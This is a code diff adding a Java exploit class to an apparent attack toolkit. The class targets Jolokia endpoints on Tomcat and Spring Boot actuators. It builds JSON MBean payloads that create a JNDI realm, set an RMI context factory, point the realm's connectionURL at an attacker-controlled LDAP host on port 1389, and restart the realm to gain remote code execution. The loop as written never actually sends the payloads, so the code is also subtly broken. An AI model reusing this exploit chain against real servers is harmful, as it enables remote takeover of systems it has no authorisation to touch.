|
| 1 | +package com.drops.exp; |
| 2 | + |
| 3 | +import com.drops.exp.util.JolokiaUtil; |
| 4 | +import com.drops.utils.HTTPUtils; |
| 5 | + |
| 6 | +/** |
| 7 | + * @ClassName: JolokiaRealmRCEEXP |
| 8 | + * @Description: TODO |
| 9 | + * @Author: Summer |
| 10 | + * @Date: 2021/7/29 15:20 |
| 11 | + * @Version: v1.0.0 |
| 12 | + * @Description: |
| 13 | + **/ |
| 14 | +public class JolokiaRealmRCEEXP { |
| 15 | + |
| 16 | + public static boolean hasJolokiaRealmRCE(String target, String vps, String port, boolean version) { |
| 17 | + |
| 18 | + |
| 19 | + |
| 20 | + String create_realm = " {\n" + |
| 21 | + " \"mbean\": \"Tomcat:type=MBeanFactory\",\n" + |
| 22 | + " \"type\": \"EXEC\",\n" + |
| 23 | + " \"operation\": \"createJNDIRealm\",\n" + |
| 24 | + " \"arguments\": [\"Tomcat:type=Engine\"]\n" + |
| 25 | + "}"; |
| 26 | + |
| 27 | + String wirte_factory = " {\n" + |
| 28 | + " \"mbean\": \"Tomcat:realmPath=/realm0,type=Realm\",\n" + |
| 29 | + " \"type\": \"WRITE\",\n" + |
| 30 | + " \"attribute\": \"contextFactory\",\n" + |
| 31 | + " \"value\": \"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" + |
| 32 | + "}"; |
| 33 | + // 设置 http |
| 34 | + String write_url = "{\n" + |
| 35 | + " \"mbean\": \"Tomcat:realmPath=/realm0,type=Realm\",\n" + |
| 36 | + " \"type\": \"WRITE\",\n" + |
| 37 | + " \"attribute\": \"connectionURL\",\n" + |
| 38 | + " \"value\": \"ldap://" + vps + ":1389/#JNDIObject\"\n" + |
| 39 | + "}"; |
| 40 | + |
| 41 | + String stop = "{\n" + |
| 42 | + " \"mbean\": \"Tomcat:realmPath=/realm0,type=Realm\",\n" + |
| 43 | + " \"type\": \"EXEC\",\n" + |
| 44 | + " \"operation\": \"stop\",\n" + |
| 45 | + " \"arguments\": []\n" + |
| 46 | + "}"; |
| 47 | + |
| 48 | + String start = "{\n" + |
| 49 | + " \"mbean\": \"Tomcat:realmPath=/realm0,type=Realm\",\n" + |
| 50 | + " \"type\": \"EXEC\",\n" + |
| 51 | + " \"operation\": \"start\",\n" + |
| 52 | + " \"arguments\": []\n" + |
| 53 | + "}"; |
| 54 | + |
| 55 | + String[] poc = new String[]{create_realm, wirte_factory, write_url, stop, start}; |
| 56 | + |
| 57 | + |
| 58 | + if (version){ |
| 59 | + if (JolokiaUtil.hasMbeansV3(target)){ |
| 60 | + for (String p: poc){ |
| 61 | + if ( |
| 62 | + HTTPUtils.postRequestV1(target, "/jolokia").getStatus() != 200 |
| 63 | + ){ |
| 64 | + return false; |
| 65 | + } |
| 66 | + } |
| 67 | + return true; |
| 68 | + } |
| 69 | + }else { |
| 70 | + if (JolokiaUtil.hasMbeansV4(target)){ |
| 71 | + for (String p: poc){ |
| 72 | + if ( |
| 73 | + HTTPUtils.postRequestV1(target, "/actuator/jolokia").getStatus() != 200 |
| 74 | + ){ |
| 75 | + return false; |
| 76 | + } |
| 77 | + } |
| 78 | + return true; |
| 79 | + } |
| 80 | + } |
| 81 | + |
| 82 | + |
| 83 | + |
| 84 | + return false; |
| 85 | + } |
| 86 | + |
| 87 | +} |
0 commit comments